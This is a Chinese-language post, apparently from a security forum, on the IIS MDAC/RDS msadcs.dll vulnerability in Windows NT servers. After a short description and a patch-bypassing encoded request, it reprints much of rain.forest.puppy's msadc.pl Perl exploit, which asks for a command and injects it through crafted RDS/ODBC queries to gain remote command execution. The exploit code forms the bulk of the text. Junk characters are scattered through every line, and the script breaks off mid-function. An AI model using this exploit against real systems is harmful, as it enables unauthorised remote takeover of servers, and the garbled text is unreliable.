IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
kev|AU (WX v+a$Xh3Y~ 涉及程序:
cM&5SyxiuE Microsoft NT server
X}T/6zk o+UCu`7e 描述:
/Y=Cg%+ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~>C@n'\lv %UIR GI 详细:
?y1']GAo 如果你没有时间读详细内容的话,就删除:
y
%R-Oc c:\Program Files\Common Files\System\Msadc\msadcs.dll
Co|3k:I 8 有关的安全问题就没有了。
a=(D`lQ8 &PY~m<F 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
R*Jnl\?>@ i?+ZrAx> 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
gc~nT/lfK 关于利用ODBC远程漏洞的描述,请参看:
KGsS2 0,~f"Dyqy http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm GyU9,>|~T Swugt"`nN 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
{wUbr ^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp f3,qDbQyJ &(M][Uo{|' 这里不再论述。
X[' VZz7 R _#x 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
gcS?r : UoDS)(i /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
9W^sq<tR 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
p~(+4uA I,[njlO: w'Y(doY, #将下面这段保存为txt文件,然后: "perl -x 文件名"
^\<nOzU? -cDS+*[ #!perl
a1^CpeG~ #
Ej_ >*^b # MSADC/RDS 'usage' (aka exploit) script
'6^+|1 #
U}#3LFr.? # by rain.forest.puppy
n ~c<[ #
Q{+*F8%8V< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
++9?LH4S4 # beta test and find errors!
u^6@!M u{|
Q[hf[ use Socket; use Getopt::Std;
EY$Dtb+g8 getopts("e:vd:h:XR", \%args);
aPU.fER %@L[=\
9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
a$=BX= $,Eb(j if (!defined $args{h} && !defined $args{R}) {
0B}O&DC%| print qq~
C8{bqmlm@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
m!22tpb -h <host> = host you want to scan (ip or domain)
GGM|B}U p -d <seconds> = delay between calls, default 1 second
1iA0+Ex(j -X = dump Index Server path table, if available
G3.*fSY$.< -v = verbose
$Cgl$A -e = external dictionary file for step 5
W8blHw" V8w7U:K Or a -R will resume a command session
LiG!xs Sb4^*
$uz ~; exit;}
y ;/T.W9! %IA1Y>` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
|~K 5] if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
H^Mfj!S if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&nV/XLpG if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
vU,V[1^a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
GyC/39<P if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Vjdu9Ez pD@:]VP if (!defined $args{R}){ $ret = &has_msadc;
DX2_}|$! die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
9T\uOaC" IdS=lN$ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%K`th&331 . "cmd /c ";
L[s`8u<_)z $in=<STDIN>; chomp $in;
bcR";cE $command="cmd /c " . $in ;
{gC?kp o&t*[# if (defined $args{R}) {&load; exit;}
=ea'G>;[H 70GwTK.{~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
H9\,;kM) &try_btcustmr;
>]L\B w !.G knDT print "\nStep 2: Trying to make our own DSN...";
(+CNs &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
kOE\.}~4 `@<~VWe5 print "\nStep 3: Trying known DSNs...";
,Y&7` m &known_dsn;
Ia[4P8Z ynZp|'b?< print "\nStep 4: Trying known .mdbs...";
DL*&e|:q &known_mdb;
>"q?P^f/ O:]e4r,' if (defined $args{e}){
E5$Fhc print "\nStep 5: Trying dictionary of DSN names...";
WK.K-bd &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~} 02q5H 1`sTGNo print "Sorry Charley...maybe next time?\n";
[$DI!%e| exit;
z',f'3+ U>i}C_7g ##############################################################################
}Ip1|Gj X:/7#fcG8 sub sendraw { # ripped and modded from whisker
${ 5E sleep($delay); # it's a DoS on the server! At least on mine...
xV0:K= my ($pstr)=@_;
JLbmh1' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2M>`W5 die("Socket problems\n");
#Q1
|] if(connect(S,pack "SnA4x8",2,80,$target)){
eJ0Xfw%y%T select(S); $|=1;
qoP/`Y6 print $pstr; my @in=<S>;
g5;Ig select(STDOUT); close(S);
:'4", return @in;
FN<Sagj } else { die("Can't connect...\n"); }}
\>tx:;D3 Sc?q}tt^C ##############################################################################
NdmwQJ7e" 1d!TU=* sub make_header { # make the HTTP request
d}2(G2z^ my $msadc=<<EOT
O|nLIfT POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Eq=j+ch7 User-Agent: ACTIVEDATA
pE {yVs Host: $ip
#0:rBKm, Content-Length: $clen
9DmFa5E Connection: Keep-Alive
=PjxMC._ 0}"'A[xE ADCClientVersion:01.06
i~LY Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
X>i{288M3 @Hl+]arUh --!ADM!ROX!YOUR!WORLD!
v"l8[:: Content-Type: application/x-varg
(sSGJS'X Content-Length: $reqlen
AHU=`z Khh}flRy EOT
C;%1XFzM ; $msadc=~s/\n/\r\n/g;
} J`cRDO return $msadc;}
8<{i=V*x4 -'
=?Hs. ##############################################################################
0$_WIk ^vJy< sub make_req { # make the RDS request
92ngSaNC my ($switch, $p1, $p2)=@_;
TU*Y?D
L my $req=""; my $t1, $t2, $query, $dsn;
nE56A#,Q, <rFh93 if ($switch==1){ # this is the btcustmr.mdb query
1/v#Z#3[ $query="Select * from Customers where City=" . make_shell();
m86ztP) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Y(Y#H$w $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
vwzElZ{C:v + (Jh$b_ elsif ($switch==2){ # this is general make table query
kz G W/ $query="create table AZZ (B int, C varchar(10))";
uQ%3?bx)T $dsn="$p1";}
P5W58WxT' ('2Z&5 elsif ($switch==3){ # this is general exploit table query
,'n`]@0?\ $query="select * from AZZ where C=" . make_shell();
$WO{!R $dsn="$p1";}
ZcN#jnb0/ pwRCfR)" X elsif ($switch==4){ # attempt to hork file info from index server
R+El/ya:6 $query="select path from scope()";
-@XOe&q $dsn="Provider=MSIDXS;";}
<O.|pJus 1--Ka& H elsif ($switch==5){ # bad query
*-S?bv,T' $query="select";
j@{ B 8 $dsn="$p1";}
mNsd&Rk' agq4Zy $t1= make_unicode($query);
'>HLE) l $t2= make_unicode($dsn);
czsnPmNEI $req = "\x02\x00\x03\x00";
ZSr!L@S $req.= "\x08\x00" . pack ("S1", length($t1));
5?0~7^de $req.= "\x00\x00" . $t1 ;
&